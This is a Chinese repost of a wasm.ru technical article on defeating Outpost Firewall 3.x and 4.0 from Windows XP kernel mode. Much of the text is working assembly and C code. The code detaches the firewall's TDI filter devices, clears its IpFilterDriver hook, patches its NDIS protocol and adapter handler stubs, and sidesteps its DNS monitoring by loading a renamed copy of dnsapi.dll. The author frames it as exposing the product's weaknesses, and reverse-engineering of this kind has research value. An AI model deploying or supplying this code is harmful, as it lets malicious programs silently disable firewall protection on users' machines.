在Kernel mode下绕过Outpost Firewall 3.x和4.0

在Kernel mode下绕过Outpost Firewall 3.x和4.0

我来讲一下如何绕过最为流行的防火墙。此防火墙在设置上伸缩性很大,可免受代码注入(Inject),有组件控制,所以在ring-3下想绕过它就有些难度了:Inject倒不是不可以,但由于网络工作需要,得编写base independent的代码,还有其它的hemorrohoids(痔疮);)。我主张转移到底层,到ring-0,这样想干什么就能干什么 :)。我们这里要研究的版本是3.x和4.0。我这里只涉及对Outpost网络部分的绕过,而Outpost其它方面的功能这里就不讨论了。注意:下面给出的代码是在Windows XP上编写并测试通过的,不能用于其它版本的Windows(见每个OS版本的NDIS_PROTOCOL_BLOCK)。

Outpost Firewall,在内核里有四种不同层次的保护措施:

1. TDI层的拦截。拦截发向以下设备的通讯:/Device/Ip, /Device/RawIp, /Device/Tcp和/Device/Udp。方法是创建并连接自己的设备来接收并过滤应用程序对这些设备的调用。

2. IpFilterDriver层的拦截。这种方法在Windows XP+是documented的,在内核里过滤数据包(即不依赖NDIS与TDI拦截)。

3. NDIS层的拦截。
       * 拦截NDIS-Protocol的创建删除函数:NdisRegisterProtocol, NdisDeregisterProtocol。
       * 拦截Adapter的打开关闭函数:NdisOpenAdapter, NdisCloseAdapter。
   
4. 对发向DNSAPI(只在4.0版中有)的通讯的拦截。

最复杂的要数对NDIS层拦截的摘除。我们下面来依次研究:

1) 对TDI层拦截的摘除对那些熟悉内核对象体系并能熟练操作对象的人来说并不困难。拦截发向设备/Device/Ip, /Device/RawIp, /Device/Tcp和/Device/Udp的通讯是通过创建伪设备来实现的。创建设备后再调用IoAttachDevice将设备连接到设备栈上。ring3应用程序在与TDI服务通讯时,会建立IRP包并按栈中顺序逐个调用。首先调用Outpost的服务,然后是其它的。我们的任务很简单,就是将firewall的设备从相关的设备栈的链表中剔除。但是我们知道,Outpost进行拦截之前没有任何设备连接(attach)到Ip, Tcp, Udp, RawIp,所以我们取得指向设备DEVICE_OBJECT结构体的指针后只需并简单地将AttachedDevice域清零,这样我们就清除了所有对TDI的filters。成了!现在IRP包就直接发到驱动程序Tcpip.sys中,之后它就哪儿也不去了。实现代码如下:

    LOCAL    TcpipDrvObj        :PDRIVER_OBJECT
   
    ...

    invoke    ObReferenceObjectByName, $CCOUNTED_UNICODE_STRING("//Driver//Tcpip"), OBJ_CASE_INSENSITIVE, NULL, 0, /
                IoDriverObjectType, KernelMode, NULL, addr TcpipDrvObj
    test    eax, eax
    jnz    @ret
   
    mov    eax, TcpipDrvObj
    mov    ebx, (DRIVER_OBJECT ptr [eax]).DeviceObject
   
    assume    ebx : ptr DEVICE_OBJECT                ; EBX -> 当前设备
   
    ; 枚举Tcpip.sys的所有设备:
    ; /Device/Ip, /Device/RawIp, /Device/Tcp, /Device/Udp, /Device/IPMULTICAST
   
@enum_devices:
    and    [ebx].AttachedDevice, 0                ; 摘除对其的拦截
   
    mov    ebx, [ebx].NextDevice
    test    ebx, ebx
    jnz    @enum_devices

    assume    ebx : nothing
   
    invoke    ObDereferenceObject, TcpipDrvObj

Outpost不进行检查,也就不知道它的设备已经不在栈里了,所以反拦截就完成了。用同样的方法几乎可以清除所有TDI-Firewalls所设的拦截(当然前提是它们不检查自己放在设备栈里的设备,不然就要再多费些事了)。

2) IpFilterDriver是Windows内建防火墙所使用的驱动程序。通过这个服务可以监视数据包并在内核中对其进行过滤。使用FILTNT.SYS里的IpFilterDriver进行过滤的初始化过程如下:

a) 加载驱动程序ipfltdrv.sys:

    UNICODE_STRING RegPath;
   
    RtlInitUnicodeString(&RegPath, L"//Registry//Machine//System//CurrentControlSet//Services//IpFilterDriver");
    ZwLoadDriver(&RegPath);

b) 取得设备/Device/Ipfilterdriver的指针:

    PFILE_OBJECT IpFilterFileObj;
    PDEVICE_OBJECT IpFilterDevObj;
    UNICODE_STRING DevPath;
   
    RtlInitUnicodeString(&DevPath, L"//Device//IPFILTERDRIVER");
    IoGetDeviceObjectPointer(&DevPath, STANDARD_RIGHTS_ALL, &IpFilterFileObj, &IpFilterDevObj);

c) 创建IRP包, 并发向设备:

    PIRP pIrp;
    DWORD InBuff = (DWORD)&FilterProc;

    pIrp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER, IpFilterDevObj, &InBuff, 4, 0, 0, 0, 0, 0);
    IoCallDriver(IpFilterDevObj, pIrp);

其中FilterProc - callback函数在接收和传递数据包时被调用,以决定此数据包是pass还是drop。DDK记载,如果为这个函数指针传递NULL,就会将处理函数移除。同样,Outpost在这里也没有好好照看自己的处理程序,我们可以轻松地搞掉它:

    LOCAL    IpFilterFileObj        :PFILE_OBJECT
    LOCAL    IpFilterDevObj    :PDEVICE_OBJECT
    LOCAL    InBuff            :DWORD
   
    ...
   
    invoke    IoGetDeviceObjectPointer, $CCOUNTED_UNICODE_STRING("//Device//Ipfilterdriver"), /
                GENERIC_READ or GENERIC_WRITE or SYNCHRONIZE, addr IpFilterFileObj, addr IpFilterDevObj
    test    eax, eax
    jnz    @ret
   
    and    InBuff, 0
   
    invoke    IoBuildDeviceIoControlRequest, IOCTL_IP_SET_FIREWALL_HOOK, IpFilterDevObj, addr InBuff, 4, 0, 0, 0, 0, 0
    test    eax, eax
    jz    @ret
   
    invoke    IoCallDriver, IpFilterDevObj, eax

3) 最复杂繁重的部分就要数摘除系统中所有的NDIS-Protocol(NDIS_PROTOCOL_BLOCK结构体)拦截了,还包括打开的block(NDIS_OPEN_BLOCK结构体)。NDIS_OPEN_BLOCK结构体定义在DDK里的ndis.h里,但却没有NDIS_PROTOCOL_BLOCK的定义。经过多方挖掘,结合在调试器中对此结构体的观察,不难猜到它是隐藏的 ;) 我注意到,这个结构体在不同版本的Windows中是不一样的。在系统中存在着一个NDIS-Protocol的链表,NDIS-Protocol的表现形式为NDIS_PROTOCOL_BLOCK结构体。每个NDIS-Protocol都export出了自己的处理函数,而这些处理函数则是在某些事件发生时被调用:例如,在绑定设备和协议时,在接受或删除数据包时等等。模块NDIS.SYS中还有一个未导出的变量ndisProtocolList,这个变量指向最后一个注册的Protocol(链表中的第一个)。查找这个变量的位置没有什么意义,我这里有一个麻烦但对各版本OS都有效的办法:我们注册一个空的Protocol,这只是为了取得指向链表中下一个Protocol的指针并将其删除。在注册完Protocol之后所取得的NDIS_HANDLE就指向了我们创建的NDIS_PROTOCOL_BLOCK结构体:

    LOCAL    NdisProto            :NDIS_PROTOCOL_CHARACTERISTICS
    LOCAL    NdisStatus            :NDIS_STATUS
    LOCAL    NdisProtoHandle        :NDIS_HANDLE
   
    ...
   
    lea    edi, NdisProto
    mov    ecx, sizeof NdisProto
    xor    eax, eax
    rep    stosb
   
    mov    NdisProto.MajorNdisVersion,        4
    mov    NdisProto.BindAdapterHandler,    BindAdapterStub
    mov    NdisProto.UnbindAdapterHandler,    UnbindAdapterStub

    ; 注册NDIS-Protocol以获得指向Protocol链表的指针

    invoke    NdisRegisterProtocol, addr NdisStatus, addr NdisProtoHandle, addr NdisProto, sizeof NdisProto
    cmp    NdisStatus, NDIS_STATUS_SUCCESS
    jnz    @ret
   
    mov    ebx, NdisProtoHandle        ; EBX -> 当前Protocol
    assume    ebx : ptr NDIS_PROTOCOL_BLOCK
    mov    ebx, [ebx].Next                ; 很可能指向TCPIP_WANARP
   
    invoke    NdisDeregisterProtocol, addr NdisStatus, NdisProtoHandle

当系统处于干净状态的时侯,几乎总是有以下Protocol:NDISUIO, TCPIP_WANARP, TCPIP, NDPROXY, PSCHED, RASPPPOE, NDISWAN,每一个都执行不同的任务。例如,Outpost创建自己的Protocol来进入链表:(VFILT)。还有一个例子:sniffer CommView创建Protocols:TSCOMM和CV2K1。想进一步了解NDIS的话,请使用NdisMonitor程序。在注册/删除Protocol之后,我们就有了指向链表中第一个Protocol的指针(如果没有sniffer或其它工作在NDIS层的程序的话,会是TCPIP_WANARP)。NDIS_PROTOCOL_BLOCK结构体包含有指向Protocol Handlers的指针,而Outpost拦截的就是这些Handlers。为了能支持可变数量的Protocol,拦截形式如下:

- 分配内存

- 记录Protocol的某些特征数据。FILTNT.SYS内部的handler中有个call(opcode 0E8h),其中包含有以下指令:

Outpost 3.x:

    pop    eax
    push   [eax]        ; 真正的handler
    pushad
    push   [eax+4]
    push   [esp+28h]
    jmp    [eax+8]

Outpost 4.0:

    pop    eax
    add    eax, 3
    push   [eax]        ; 真正的handler
    pushad
    push   [eax+4]
    push   [esp+28h]
    jmp    [eax+8]

- 在分配好的内存地址建立真正handler的替换程序。

经过研究发现,实际的拦截处理程序位于所分配内存的偏移+8处(Outpost 4.0)或者是+5处(Outpost 3.x)。通过指令add eax, 3可以很容易地区分4.0版和3.x版。在每个Protocol中Outpost都拦截了下面这些函数:

  OpenAdapterCompleteHandler
  SendCompleteHandler
  TransferDataCompleteHandler
  RequestCompleteHandler
  ReceiveHandler
  StatusHandler
  ReceivePacketHandler
  BindAdapterHandler
  UnbindAdapterHandler

在结构体NDIS_OPEN_BLOCK中包含着指向与Protocol相关联的具体adapter的handler的指针。每个Protocol可以关联几个adapter,它们的open block都被链成了一个链表。指向第一个NDIS_OPEN_BLOCK结构体的指针包含在NDIS_PROTOCOL_BLOCK.OpenBlock里。NDIS_OPEN_BLOCK结构体是在调用NdisOpenAdapter的时候创建的,所以Outpost拦截了这个函数。在NDIS_OPEN_BLOCK中拦截了以下这些handlers:

Outpost 3.x:

  SendHandler
  TransferDataHandler
  SendCompleteHandler
  TransferDataCompleteHandler
  ReceiveHandler
  RequestCompleteHandler
  ReceivePacketHandler
  SendPacketsHandler
  StatusHandler

Outpost 4.0:

  SendCompleteHandler
  TransferDataCompleteHandler
  ReceiveHandler
  ReceivePacketHandler
  StatusHandler

大概程序作者觉得在3.x中搞的拦截有点太多了,其实拦5个就足够了。现在目的就明确了:绕过所有的Protocol,在每个Protocol中都摘除对其的拦截;在每个Protocol中绕过所有的open blocks并摘除对其的拦截。但是事情并不是像对付TDI和IpFilterDriver拦截那样那么简单的。我们不能简单地用自己的handlers去替换firewall的,因为firewall创建的线程时刻扫描着Protocols和open blocks并恢复拦截。并且如果Outpost 3.x在检查Protocol时遇到了未被拦截的handler(或是被摘除拦截的handler),它就会傻傻地从结构体中取出地址并再次建立拦截。这曾一度成为了我的心头一患。那个Outpost 4.0为每个Protocol都保存了handler,并能正确地恢复拦截。有了!:P 如果没有影响到handler指针,并用call来代替Outpost的handler,在实际的handler后面放上一个jmp,就可以如愿以偿。Outpost并不检查其拦截是否发生变化。为了摘除具体handler的拦截,我编写了个函数:

RemoveNdisProcHook proc Handler :PVOID

    mov    ecx, Handler
    jecxz    @ret
   
    cmp    byte ptr [ecx], 0E8h            ; 在起始处应该有个call
    jnz    @ret
   
    mov    edx, [ecx+1]                ; call的偏移
    lea    edx, [ecx+edx+5]            ; EDX指向call调用的去向
   
    .if dword ptr [edx] == 03C08358h        ; 起始处有: pop eax / add eax, 3 - 是Outpost 4.0 
   
        mov    edx, [ecx+8]
       
    .elseif    dword ptr [edx] == 6030FF58h    ; 起始处有: pop eax / push [eax] / pushad - 是Outpost 3.x
       
        mov    edx, [ecx+5]
    .else
   
        jmp    @ret
    .endif
   
    ; EDX里的是实际handler的地址
   
    mov    byte ptr [ecx], 0E9h            ; 我们把call换成jmp
    sub    edx, ecx
    sub    edx, 5
    mov    [ecx+1], edx                ; 现在就直接jmp到实际的handler了
   
@ret:
    ret

RemoveNdisProcHook endp

喏,终于到了最后一步了:

    assume    ebx : ptr NDIS_PROTOCOL_BLOCK
   
    ...

    ; 枚举所有已注册的NDIS-Protocol
   
@enum_protocols:

    ; 删除对NDIS-Protocol handlers的拦截
   
    invoke    RemoveNdisProcHook, [ebx].OpenAdapterCompleteHandler
    invoke    RemoveNdisProcHook, [ebx].SendCompleteHandler
    invoke    RemoveNdisProcHook, [ebx].TransferDataCompleteHandler
    invoke    RemoveNdisProcHook, [ebx].RequestCompleteHandler
    invoke    RemoveNdisProcHook, [ebx].ReceiveHandler
    invoke    RemoveNdisProcHook, [ebx].StatusHandler
    invoke    RemoveNdisProcHook, [ebx].ReceivePacketHandler
    invoke    RemoveNdisProcHook, [ebx].BindAdapterHandler
    invoke    RemoveNdisProcHook, [ebx].UnbindAdapterHandler
   
   
    mov    esi, [ebx].OpenBlock                ; ESI -> 当前的Open Block
    test    esi, esi
    jz    @next
   
    assume    esi : ptr NDIS_OPEN_BLOCK
   
    ; 枚举此Protocol所有的Open Block
   
    @enum_open_blocks:
   
        ; 删除对Open Block handlers的拦截
       
        invoke    RemoveNdisProcHook, [esi].SendHandler
        invoke    RemoveNdisProcHook, [esi].TransferDataHandler
        invoke    RemoveNdisProcHook, [esi].SendCompleteHandler
        invoke    RemoveNdisProcHook, [esi].TransferDataCompleteHandler
        invoke    RemoveNdisProcHook, [esi].ReceiveHandler
        invoke    RemoveNdisProcHook, [esi].RequestCompleteHandler
        invoke    RemoveNdisProcHook, [esi].ReceivePacketHandler
        invoke    RemoveNdisProcHook, [esi].SendPacketsHandler
        invoke    RemoveNdisProcHook, [esi].StatusHandler
   
   
        mov    esi, [esi].ProtocolNextOpen
        test    esi, esi
        jnz    @enum_open_blocks
       
    assume esi : nothing

@next:
    mov    ebx, [ebx].Next
    test    ebx, ebx
    jnz    @enum_protocols
   
    assume    ebx : nothing

4) Outpost的三种主要的过滤方法都已经被摘除了。对于3.x版来说就足够了,但是在4.0版的Outpost里添加了对应用程序的DNS-request的拦截。程序作者脑子里也没什么更好的办法,只是捕捉住了DNSAPI.DLL的加载。DNSAPI.DLL是个usermode的DLL,执行域名->地址(以及反方向)的转换功能,MX服务的请求和许多其它功能。对gethostbyname()的调用会加载这个库,并显示防火墙的窗口。在这个窗口中应用程序尝试执行DNS-request。要绕过它甚至不需要内核代码。但是会拒绝gethostbyname(),gethostbyaddr()以及其它函数:需要把system32/dnsapi.dll库拷贝到随便什么地方去,以其它的名字加载它,取得指向DnsQuery_A函数的指针并进行DNS-request。Outpost对此完全没有反应,因为它只检查所加载的模块的名字。更合逻辑的做法本应该是使用端口53截断应用程序通讯,而不只是建立对DNSAPI.DLL的Hook。当然可能是在beta版中拿掉的,但其实这样不正确的“保护”措施是从一开始就选定的。我相信这种所谓的“保护”今后还会用下去的。下面是我对"gethostbyname()"的实现:

    typedef DNS_STATUS (WINAPI *DNS_QUERY)(
      PCSTR lpstrName,
      WORD wType,
      DWORD fOptions,
      PIP4_ARRAY aipServers,
      PDNS_RECORD* ppQueryResultsSet,
      PVOID* pReserved
    );


    typedef void (WINAPI *DNS_RECORD_LIST_FREE)(
      PDNS_RECORD pRecordList,
      DNS_FREE_TYPE FreeType
    );

    ...

    char buf[256], buf2[256];
    PDNS_RECORD            pRec;
    DNS_QUERY            pDnsQuery;
    DNS_RECORD_LIST_FREE    pDnsRecordListFree;
    HINSTANCE                hLib;
   

    GetTempPath(sizeof(buf), buf);
    strcat(buf, "xxxxx.dll");

    GetSystemDirectory(buf2, sizeof(buf2));
    strcat(buf2, "//dnsapi.dll");

    CopyFile(buf2, buf, FALSE);

    if ((hLib = LoadLibrary(buf)) &&
        (pDnsQuery = (DNS_QUERY)GetProcAddress(hLib, "DnsQuery_A")) &&
        (pDnsRecordListFree = (DNS_RECORD_LIST_FREE)GetProcAddress(hLib, "DnsRecordListFree")))
    {
        if (!pDnsQuery("wasm.ru", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &pRec, NULL))
        {
            sprintf(buf, "WASM.RU IP Address: %s", inet_ntoa(*(in_addr*)&pRec->Data.A.IpAddress));
            MessageBox(0, buf, "Outpost DnsDetour", MB_ICONINFORMATION);

            pDnsRecordListFree(pRec, DnsFreeRecordList);
        }
        else
            MessageBox(0, "Can't get WASM.RU IP Address!", "Outpost DnsDetour", MB_ICONINFORMATION);

        FreeLibrary(hLib);
    }

    DeleteFile(buf);

Outpost中用到的所有类型的拦截就都被摘除了。现在任何应用程序都能无障碍地使用网络了。甚至把Outpost设置成“阻止所有连接”都没问题。

我的目标可不是绕过所有类型的Firewall(否则就天下大乱了 :P),就是想演示Outpost的缺陷——用非常简单的内核代码就能把它废掉(还有新beta版里的保护DNS-resolving的曲线法)。在创建连接过程中,Outpost 4.0将在日志中记录“未定义规则”,因为拦截被摘除,而打开的端口和连接的列表还在。在3.x中将完全看不到连接。理想的解决办法就是不要只简单地摘除拦截,而要让Firewall允许某些程序使用网络,而在其它情况下将控制权转给Outpost并隐藏某些打开的端口和连接。

值得一提的是,在摘除Hook之前,最好禁用掉中断, APC, DPC,这样摘除Hook的操作就不会被打断。在本文所附程序的archive中可以找到源代码和编译好的驱动,同时还有针对Outpost 4.0的通过名称确定IP的例子。

[C] MaD
http://www.wasm.ru/article.php?article=outpostk
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值